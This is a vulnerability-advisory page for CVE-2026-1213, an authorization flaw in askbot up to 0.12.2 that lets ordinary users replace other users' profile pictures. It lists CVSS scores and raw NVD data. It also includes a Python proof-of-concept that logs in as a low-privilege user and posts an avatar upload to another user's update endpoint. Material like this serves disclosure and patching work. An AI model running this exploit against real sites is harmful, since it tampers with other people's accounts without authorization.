Security Vulnerability Report
中文
CVE-2026-1213 CVSS 4.3 MEDIUM

CVE-2026-1213

Published: 2026-01-27 14:15:56
Last Modified: 2026-04-14 14:58:58

Description

All versions of askbot before and including 0.12.2 allow an attacker authenticated with normal user permissions to modify the profile picture of other application users.This issue affects askbot: 0.12.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:askbot:askbot:*:*:*:*:*:*:*:* - VULNERABLE
askbot <= 0.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-1213 PoC - Askbot Unauthorized Profile Picture Modification # Target: Askbot <= 0.12.2 # Author: Security Researcher BASE_URL = "http://target-askbot.com" TARGET_USER_ID = 1 # Target user ID to modify (e.g., admin) def get_csrf_token(session, url): """Extract CSRF token from the page""" response = session.get(f"{url}/user/update/") match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', response.text) return match.group(1) if match else None def exploit_avatar_modification(): """Exploit the unauthorized profile picture modification vulnerability""" session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{BASE_URL}/account/signin/" csrf_token = get_csrf_token(session, BASE_URL) login_data = { "csrfmiddlewaretoken": csrf_token, "next": "/", "username": "attacker_account", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Exploit - Modify target user's avatar update_url = f"{BASE_URL}/user/{TARGET_USER_ID}/update/" csrf_token = get_csrf_token(session, BASE_URL) exploit_data = { "csrfmiddlewaretoken": csrf_token, "avatar": open("malicious_avatar.jpg", "rb"), "next": "/" } # Send malicious request with target user ID response = session.post(update_url, files=exploit_data) if response.status_code == 200: print("[+] Successfully modified target user's avatar!") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": print("CVE-2026-1213 - Askbot Unauthorized Profile Picture Modification") exploit_avatar_modification()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1213", "sourceIdentifier": "[email protected]", "published": "2026-01-27T14:15:55.887", "lastModified": "2026-04-14T14:58:57.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "All versions of askbot before and including 0.12.2 allow an attacker authenticated with normal user permissions to modify the profile picture of other application users.This issue affects askbot: 0.12.2."}, {"lang": "es", "value": "Todas las versiones de askbot anteriores e incluyendo la 0.12.2 permiten a un atacante autenticado con permisos de usuario normal modificar la imagen de perfil de otros usuarios de la aplicación. Este problema afecta a askbot: 0.12.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:askbot:askbot:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.12.2", "matchCriteriaId": "67474713-5CD3-4B3D-A29F-F4EF40B3A67F"}]}]}], "references": [{"url": "https://askbot.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://fluidattacks.com/advisories/ghost", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ASKBOT/askbot-devel/commit/3da3d75f35204aa71633c7a315327ba39cb6295d", "source": "[email protected]", "tags": ["Patch"]}]}}